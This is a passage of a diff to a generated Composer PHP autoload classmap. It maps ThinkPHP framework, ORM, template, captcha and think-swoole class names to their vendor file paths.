'think\\Facade' => __DIR__ . '/..' . '/topthink/framework/src/think/Facade.php', + 'think\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/File.php', + 'think\\Filesystem' => __DIR__ . '/..' . '/topthink/framework/src/think/Filesystem.php', + 'think\\Http' => __DIR__ . '/..' . '/topthink/framework/src/think/Http.php', + 'think\\Lang' => __DIR__ . '/..' . '/topthink/framework/src/think/Lang.php', + 'think\\Log' => __DIR__ . '/..' . '/topthink/framework/src/think/Log.php', + 'think\\Manager' => __DIR__ . '/..' . '/topthink/framework/src/think/Manager.php', + 'think\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/Middleware.php', + 'think\\Model' => __DIR__ . '/..' . '/topthink/think-orm/src/Model.php', + 'think\\Paginator' => __DIR__ . '/..' . '/topthink/think-orm/src/Paginator.php', + 'think\\Pipeline' => __DIR__ . '/..' . '/topthink/framework/src/think/Pipeline.php', + 'think\\Request' => __DIR__ . '/..' . '/topthink/framework/src/think/Request.php', + 'think\\Response' => __DIR__ . '/..' . '/topthink/framework/src/think/Response.php', + 'think\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/Route.php', + 'think\\Service' => __DIR__ . '/..' . '/topthink/framework/src/think/Service.php', + 'think\\Session' => __DIR__ . '/..' . '/topthink/framework/src/think/Session.php', + 'think\\Template' => __DIR__ . '/..' . '/topthink/think-template/src/Template.php', + 'think\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/Validate.php', + 'think\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/View.php', + 'think\\app\\MultiApp' => __DIR__ . '/..' . '/topthink/think-multi-app/src/MultiApp.php', + 'think\\app\\Service' => __DIR__ . '/..' . '/topthink/think-multi-app/src/Service.php', + 'think\\app\\Url' => __DIR__ . '/..' . '/topthink/think-multi-app/src/Url.php', + 'think\\app\\command\\Build' => __DIR__ . '/..' . '/topthink/think-multi-app/src/command/Build.php', + 'think\\app\\command\\Clear' => __DIR__ . '/..' . '/topthink/think-multi-app/src/command/Clear.php', + 'think\\cache\\Driver' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/Driver.php', + 'think\\cache\\TagSet' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/TagSet.php', + 'think\\cache\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/File.php', + 'think\\cache\\driver\\Memcache' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Memcache.php', + 'think\\cache\\driver\\Memcached' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Memcached.php', + 'think\\cache\\driver\\Redis' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Redis.php', + 'think\\cache\\driver\\Wincache' => __DIR__ . '/..' . '/topthink/framework/src/think/cache/driver/Wincache.php', + 'think\\captcha\\Captcha' => __DIR__ . '/..' . '/topthink/think-captcha/src/Captcha.php', + 'think\\captcha\\CaptchaController' => __DIR__ . '/..' . '/topthink/think-captcha/src/CaptchaController.php', + 'think\\captcha\\CaptchaService' => __DIR__ . '/..' . '/topthink/think-captcha/src/CaptchaService.php', + 'think\\captcha\\facade\\Captcha' => __DIR__ . '/..' . '/topthink/think-captcha/src/facade/Captcha.php', + 'think\\console\\Command' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Command.php', + 'think\\console\\Input' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Input.php', + 'think\\console\\Output' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Output.php', + 'think\\console\\Table' => __DIR__ . '/..' . '/topthink/framework/src/think/console/Table.php', + 'think\\console\\command\\Clear' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Clear.php', + 'think\\console\\command\\Help' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Help.php', + 'think\\console\\command\\Lists' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Lists.php', + 'think\\console\\command\\Make' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Make.php', + 'think\\console\\command\\RouteList' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/RouteList.php', + 'think\\console\\command\\RunServer' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/RunServer.php', + 'think\\console\\command\\ServiceDiscover' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/ServiceDiscover.php', + 'think\\console\\command\\VendorPublish' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/VendorPublish.php', + 'think\\console\\command\\Version' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/Version.php', + 'think\\console\\command\\make\\Command' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Command.php', + 'think\\console\\command\\make\\Controller' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Controller.php', + 'think\\console\\command\\make\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Event.php', + 'think\\console\\command\\make\\Listener' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Listener.php', + 'think\\console\\command\\make\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Middleware.php', + 'think\\console\\command\\make\\Model' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Model.php', + 'think\\console\\command\\make\\Service' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Service.php', + 'think\\console\\command\\make\\Subscribe' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Subscribe.php', + 'think\\console\\command\\make\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/make/Validate.php', + 'think\\console\\command\\optimize\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/optimize/Route.php', + 'think\\console\\command\\optimize\\Schema' => __DIR__ . '/..' . '/topthink/framework/src/think/console/command/optimize/Schema.php', + 'think\\console\\input\\Argument' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Argument.php', + 'think\\console\\input\\Definition' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Definition.php', + 'think\\console\\input\\Option' => __DIR__ . '/..' . '/topthink/framework/src/think/console/input/Option.php', + 'think\\console\\output\\Ask' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Ask.php', + 'think\\console\\output\\Descriptor' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Descriptor.php', + 'think\\console\\output\\Formatter' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Formatter.php', + 'think\\console\\output\\Question' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/Question.php', + 'think\\console\\output\\descriptor\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/descriptor/Console.php', + 'think\\console\\output\\driver\\Buffer' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Buffer.php', + 'think\\console\\output\\driver\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Console.php', + 'think\\console\\output\\driver\\Nothing' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/driver/Nothing.php', + 'think\\console\\output\\formatter\\Stack' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/formatter/Stack.php', + 'think\\console\\output\\formatter\\Style' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/formatter/Style.php', + 'think\\console\\output\\question\\Choice' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/question/Choice.php', + 'think\\console\\output\\question\\Confirmation' => __DIR__ . '/..' . '/topthink/framework/src/think/console/output/question/Confirmation.php', + 'think\\contract\\Arrayable' => __DIR__ . '/..' . '/topthink/think-helper/src/contract/Arrayable.php', + 'think\\contract\\CacheHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/CacheHandlerInterface.php', + 'think\\contract\\Jsonable' => __DIR__ . '/..' . '/topthink/think-helper/src/contract/Jsonable.php', + 'think\\contract\\LogHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/LogHandlerInterface.php', + 'think\\contract\\ModelRelationInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/ModelRelationInterface.php', + 'think\\contract\\SessionHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/SessionHandlerInterface.php', + 'think\\contract\\TemplateHandlerInterface' => __DIR__ . '/..' . '/topthink/framework/src/think/contract/TemplateHandlerInterface.php', + 'think\\db\\BaseQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/BaseQuery.php', + 'think\\db\\Builder' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Builder.php', + 'think\\db\\CacheItem' => __DIR__ . '/..' . '/topthink/think-orm/src/db/CacheItem.php', + 'think\\db\\Connection' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Connection.php', + 'think\\db\\ConnectionInterface' => __DIR__ . '/..' . '/topthink/think-orm/src/db/ConnectionInterface.php', + 'think\\db\\Fetch' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Fetch.php', + 'think\\db\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Mongo.php', + 'think\\db\\PDOConnection' => __DIR__ . '/..' . '/topthink/think-orm/src/db/PDOConnection.php', + 'think\\db\\Query' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Query.php', + 'think\\db\\Raw' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Raw.php', + 'think\\db\\Where' => __DIR__ . '/..' . '/topthink/think-orm/src/db/Where.php', + 'think\\db\\builder\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Mongo.php', + 'think\\db\\builder\\Mysql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Mysql.php', + 'think\\db\\builder\\Oracle' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Oracle.php', + 'think\\db\\builder\\Pgsql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Pgsql.php', + 'think\\db\\builder\\Sqlite' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Sqlite.php', + 'think\\db\\builder\\Sqlsrv' => __DIR__ . '/..' . '/topthink/think-orm/src/db/builder/Sqlsrv.php', + 'think\\db\\concern\\AggregateQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/AggregateQuery.php', + 'think\\db\\concern\\JoinAndViewQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/JoinAndViewQuery.php', + 'think\\db\\concern\\ModelRelationQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ModelRelationQuery.php', + 'think\\db\\concern\\ParamsBind' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ParamsBind.php', + 'think\\db\\concern\\ResultOperation' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/ResultOperation.php', + 'think\\db\\concern\\TableFieldInfo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/TableFieldInfo.php', + 'think\\db\\concern\\TimeFieldQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/TimeFieldQuery.php', + 'think\\db\\concern\\Transaction' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/Transaction.php', + 'think\\db\\concern\\WhereQuery' => __DIR__ . '/..' . '/topthink/think-orm/src/db/concern/WhereQuery.php', + 'think\\db\\connector\\Mongo' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Mongo.php', + 'think\\db\\connector\\Mysql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Mysql.php', + 'think\\db\\connector\\Oracle' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Oracle.php', + 'think\\db\\connector\\Pgsql' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Pgsql.php', + 'think\\db\\connector\\Sqlite' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Sqlite.php', + 'think\\db\\connector\\Sqlsrv' => __DIR__ . '/..' . '/topthink/think-orm/src/db/connector/Sqlsrv.php', + 'think\\db\\exception\\BindParamException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/BindParamException.php', + 'think\\db\\exception\\DataNotFoundException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/DataNotFoundException.php', + 'think\\db\\exception\\DbException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/DbException.php', + 'think\\db\\exception\\InvalidArgumentException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/InvalidArgumentException.php', + 'think\\db\\exception\\ModelEventException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/ModelEventException.php', + 'think\\db\\exception\\ModelNotFoundException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/ModelNotFoundException.php', + 'think\\db\\exception\\PDOException' => __DIR__ . '/..' . '/topthink/think-orm/src/db/exception/PDOException.php', + 'think\\event\\AppInit' => __DIR__ . '/..' . '/topthink/framework/src/think/event/AppInit.php', + 'think\\event\\HttpEnd' => __DIR__ . '/..' . '/topthink/framework/src/think/event/HttpEnd.php', + 'think\\event\\HttpRun' => __DIR__ . '/..' . '/topthink/framework/src/think/event/HttpRun.php', + 'think\\event\\LogWrite' => __DIR__ . '/..' . '/topthink/framework/src/think/event/LogWrite.php', + 'think\\event\\RouteLoaded' => __DIR__ . '/..' . '/topthink/framework/src/think/event/RouteLoaded.php', + 'think\\exception\\ClassNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ClassNotFoundException.php', + 'think\\exception\\ErrorException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ErrorException.php', + 'think\\exception\\FileException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/FileException.php', + 'think\\exception\\FuncNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/FuncNotFoundException.php', + 'think\\exception\\Handle' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/Handle.php', + 'think\\exception\\HttpException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/HttpException.php', + 'think\\exception\\HttpResponseException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/HttpResponseException.php', + 'think\\exception\\InvalidArgumentException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/InvalidArgumentException.php', + 'think\\exception\\RouteNotFoundException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/RouteNotFoundException.php', + 'think\\exception\\ValidateException' => __DIR__ . '/..' . '/topthink/framework/src/think/exception/ValidateException.php', + 'think\\facade\\App' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/App.php', + 'think\\facade\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Cache.php', + 'think\\facade\\Config' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Config.php', + 'think\\facade\\Console' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Console.php', + 'think\\facade\\Cookie' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Cookie.php', + 'think\\facade\\Db' => __DIR__ . '/..' . '/topthink/think-orm/src/facade/Db.php', + 'think\\facade\\Env' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Env.php', + 'think\\facade\\Event' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Event.php', + 'think\\facade\\Filesystem' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Filesystem.php', + 'think\\facade\\Lang' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Lang.php', + 'think\\facade\\Log' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Log.php', + 'think\\facade\\Middleware' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Middleware.php', + 'think\\facade\\Request' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Request.php', + 'think\\facade\\Route' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Route.php', + 'think\\facade\\Session' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Session.php', + 'think\\facade\\Template' => __DIR__ . '/..' . '/topthink/think-template/src/facade/Template.php', + 'think\\facade\\Validate' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/Validate.php', + 'think\\facade\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/facade/View.php', + 'think\\file\\UploadedFile' => __DIR__ . '/..' . '/topthink/framework/src/think/file/UploadedFile.php', + 'think\\filesystem\\CacheStore' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/CacheStore.php', + 'think\\filesystem\\Driver' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/Driver.php', + 'think\\filesystem\\driver\\Local' => __DIR__ . '/..' . '/topthink/framework/src/think/filesystem/driver/Local.php', + 'think\\helper\\Arr' => __DIR__ . '/..' . '/topthink/think-helper/src/helper/Arr.php', + 'think\\helper\\Str' => __DIR__ . '/..' . '/topthink/think-helper/src/helper/Str.php', + 'think\\initializer\\BootService' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/BootService.php', + 'think\\initializer\\Error' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/Error.php', + 'think\\initializer\\RegisterService' => __DIR__ . '/..' . '/topthink/framework/src/think/initializer/RegisterService.php', + 'think\\log\\Channel' => __DIR__ . '/..' . '/topthink/framework/src/think/log/Channel.php', + 'think\\log\\ChannelSet' => __DIR__ . '/..' . '/topthink/framework/src/think/log/ChannelSet.php', + 'think\\log\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/log/driver/File.php', + 'think\\log\\driver\\Socket' => __DIR__ . '/..' . '/topthink/framework/src/think/log/driver/Socket.php', + 'think\\middleware\\AllowCrossDomain' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/AllowCrossDomain.php', + 'think\\middleware\\CheckRequestCache' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/CheckRequestCache.php', + 'think\\middleware\\FormTokenCheck' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/FormTokenCheck.php', + 'think\\middleware\\LoadLangPack' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/LoadLangPack.php', + 'think\\middleware\\SessionInit' => __DIR__ . '/..' . '/topthink/framework/src/think/middleware/SessionInit.php', + 'think\\model\\Collection' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Collection.php', + 'think\\model\\Pivot' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Pivot.php', + 'think\\model\\Relation' => __DIR__ . '/..' . '/topthink/think-orm/src/model/Relation.php', + 'think\\model\\concern\\Attribute' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/Attribute.php', + 'think\\model\\concern\\Conversion' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/Conversion.php', + 'think\\model\\concern\\ModelEvent' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/ModelEvent.php', + 'think\\model\\concern\\OptimLock' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/OptimLock.php', + 'think\\model\\concern\\RelationShip' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/RelationShip.php', + 'think\\model\\concern\\SoftDelete' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/SoftDelete.php', + 'think\\model\\concern\\TimeStamp' => __DIR__ . '/..' . '/topthink/think-orm/src/model/concern/TimeStamp.php', + 'think\\model\\relation\\BelongsTo' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/BelongsTo.php', + 'think\\model\\relation\\BelongsToMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/BelongsToMany.php', + 'think\\model\\relation\\HasMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasMany.php', + 'think\\model\\relation\\HasManyThrough' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasManyThrough.php', + 'think\\model\\relation\\HasOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasOne.php', + 'think\\model\\relation\\HasOneThrough' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/HasOneThrough.php', + 'think\\model\\relation\\MorphMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphMany.php', + 'think\\model\\relation\\MorphOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphOne.php', + 'think\\model\\relation\\MorphTo' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphTo.php', + 'think\\model\\relation\\MorphToMany' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/MorphToMany.php', + 'think\\model\\relation\\OneToOne' => __DIR__ . '/..' . '/topthink/think-orm/src/model/relation/OneToOne.php', + 'think\\paginator\\driver\\Bootstrap' => __DIR__ . '/..' . '/topthink/think-orm/src/paginator/driver/Bootstrap.php', + 'think\\response\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/response/File.php', + 'think\\response\\Html' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Html.php', + 'think\\response\\Json' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Json.php', + 'think\\response\\Jsonp' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Jsonp.php', + 'think\\response\\Redirect' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Redirect.php', + 'think\\response\\View' => __DIR__ . '/..' . '/topthink/framework/src/think/response/View.php', + 'think\\response\\Xml' => __DIR__ . '/..' . '/topthink/framework/src/think/response/Xml.php', + 'think\\route\\Dispatch' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Dispatch.php', + 'think\\route\\Domain' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Domain.php', + 'think\\route\\Resource' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Resource.php', + 'think\\route\\Rule' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Rule.php', + 'think\\route\\RuleGroup' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleGroup.php', + 'think\\route\\RuleItem' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleItem.php', + 'think\\route\\RuleName' => __DIR__ . '/..' . '/topthink/framework/src/think/route/RuleName.php', + 'think\\route\\Url' => __DIR__ . '/..' . '/topthink/framework/src/think/route/Url.php', + 'think\\route\\dispatch\\Callback' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Callback.php', + 'think\\route\\dispatch\\Controller' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Controller.php', + 'think\\route\\dispatch\\Url' => __DIR__ . '/..' . '/topthink/framework/src/think/route/dispatch/Url.php', + 'think\\service\\ModelService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/ModelService.php', + 'think\\service\\PaginatorService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/PaginatorService.php', + 'think\\service\\ValidateService' => __DIR__ . '/..' . '/topthink/framework/src/think/service/ValidateService.php', + 'think\\session\\Store' => __DIR__ . '/..' . '/topthink/framework/src/think/session/Store.php', + 'think\\session\\driver\\Cache' => __DIR__ . '/..' . '/topthink/framework/src/think/session/driver/Cache.php', + 'think\\session\\driver\\File' => __DIR__ . '/..' . '/topthink/framework/src/think/session/driver/File.php', + 'think\\swoole\\App' => __DIR__ . '/..' . '/topthink/think-swoole/src/App.php', + 'think\\swoole\\FileWatcher' => __DIR__ . '/..' . '/topthink/think-swoole/src/FileWatcher.php', + 'think\\swoole\\Http' => __DIR__ . '/..' . '/topthink/think-swoole/src/Http.php', + 'think\\swoole\\Manager' => __DIR__ . '/..' . '/topthink/think-swoole/src/Manager.php', + 'think\\swoole\\PidManager' => __DIR__ . '/..' . '/topthink/think-swoole/src/PidManager.php', + 'think\\swoole\\Pool' => __DIR__ . '/..' . '/topthink/think-swoole/src/Pool.php', + 'think\\swoole\\RpcManager' => __DIR__ . '/..' . '/topthink/think-swoole/src/RpcManager.php', + 'think\\swoole\\Sandbox' => __DIR__ . '/..' . '/topthink/think-swoole/src/Sandbox.php', + 'think\\swoole\\Service' => __DIR__ . '/..' . '/topthink/think-swoole/src/Service.php', + 'think\\swoole\\Table' => __DIR__ . '/..' . '/topthink/think-swoole/src/Table.php', + 'think\\swoole\\Websocket' => __DIR__ . '/..' . '/topthink/think-swoole/src/Websocket.php', + 'think\\swoole\\command\\Rpc' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/Rpc.php', + 'think\\swoole\\command\\RpcInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/RpcInterface.php', + 'think\\swoole\\command\\Server' => __DIR__ . '/..' . '/topthink/think-swoole/src/command/Server.php', + 'think\\swoole\\concerns\\InteractsWithHttp' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithHttp.php', + 'think\\swoole\\concerns\\InteractsWithPools' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithPools.php', + 'think\\swoole\\concerns\\InteractsWithRpcClient' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php', + 'think\\swoole\\concerns\\InteractsWithRpcServer' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php', + 'think\\swoole\\concerns\\InteractsWithServer' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithServer.php', + 'think\\swoole\\concerns\\InteractsWithSwooleTable' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php', + 'think\\swoole\\concerns\\InteractsWithWebsocket' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php', + 'think\\swoole\\concerns\\ModifyProperty' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/ModifyProperty.php', + 'think\\swoole\\concerns\\WithApplication' => __DIR__ . '/..' . '/topthink/think-swoole/src/concerns/WithApplication.php', + 'think\\swoole\\contract\\ResetterInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/ResetterInterface.php', + 'think\\swoole\\contract\\rpc\\ParserInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/rpc/ParserInterface.php', + 'think\\swoole\\contract\\websocket\\HandlerInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/HandlerInterface.php', + 'think\\swoole\\contract\\websocket\\ParserInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/ParserInterface.php', + 'think\\swoole\\contract\\websocket\\RoomInterface' => __DIR__ . '/..' . '/topthink/think-swoole/src/contract/websocket/RoomInterface.php', + 'think\\swoole\\coroutine\\Context' => __DIR__ . '/..' . '/topthink/think-swoole/src/coroutine/Context.php', + 'think\\swoole\\exception\\RpcClientException' => __DIR__ . '/..' . '/topthink/think-swoole/src/exception/RpcClientException.php', + 'think\\swoole\\exception\\RpcResponseException' => __DIR__ . '/..' . '/topthink/think-swoole/src/exception/RpcResponseException.php', + 'think\\swoole\\facade\\Server' => __DIR__ . '/..' . '/topthink/think-swoole/src/facade/Server.php', + 'think\\swoole\\middleware\\ResetVarDumper' => __DIR__ . '/..' . '/topthink/think-swoole/src/middleware/ResetVarDumper.php', + 'think\\swoole\\pool\\Cache' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Cache.php', + 'think\\swoole\\pool\\Client' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Client.php', + 'think\\swoole\\pool\\Db' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Db.php', + 'think\\swoole\\pool\\Proxy' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/Proxy.php', + 'think\\swoole\\pool\\proxy\\Connection' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/proxy/Connection.php', + 'think\\swoole\\pool\\proxy\\Store' => __DIR__ . '/..' . '/topthink/think-swoole/src/pool/proxy/Store.php', + 'think\\swoole\\resetters\\ClearInstances' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ClearInstances.php', + 'think\\swoole\\resetters\\ResetConfig' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetConfig.php', + 'think\\swoole\\resetters\\ResetEvent' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetEvent.php', + 'think\\swoole\\resetters\\ResetService' => __DIR__ . '/..' . '/topthink/think-swoole/src/resetters/ResetService.php', + 'think\\swoole\\rpc\\Error' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Error.php', + 'think\\swoole\\rpc\\File' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/File.php', + 'think\\swoole\\rpc\\JsonParser' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/JsonParser.php', + 'think\\swoole\\rpc\\Packer' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Packer.php', + 'think\\swoole\\rpc\\Protocol' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/Protocol.php', + 'think\\swoole\\rpc\\client\\Connector' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Connector.php', + 'think\\swoole\\rpc\\client\\Gateway' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Gateway.php', + 'think\\swoole\\rpc\\client\\Proxy' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/client/Proxy.php', + 'think\\swoole\\rpc\\server\\Channel' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/Channel.php', + 'think\\swoole\\rpc\\server\\Dispatcher' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/Dispatcher.php', + 'think\\swoole\\rpc\\server\\channel\\Buffer' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/channel/Buffer.php', + 'think\\swoole\\rpc\\server\\channel\\File' => __DIR__ . '/..' . '/topthink/think-swoole/src/rpc/server/channel/File.php', + 'think\\swoole\\websocket\\Pusher' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/Pusher.php', + 'think\\swoole\\websocket\\Room' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/Room.php', + 'think\\swoole\\websocket\\SimpleParser' => __DIR__ . '/..' . '/topthink/think-swoole/src/websocket/SimpleParser.php', + 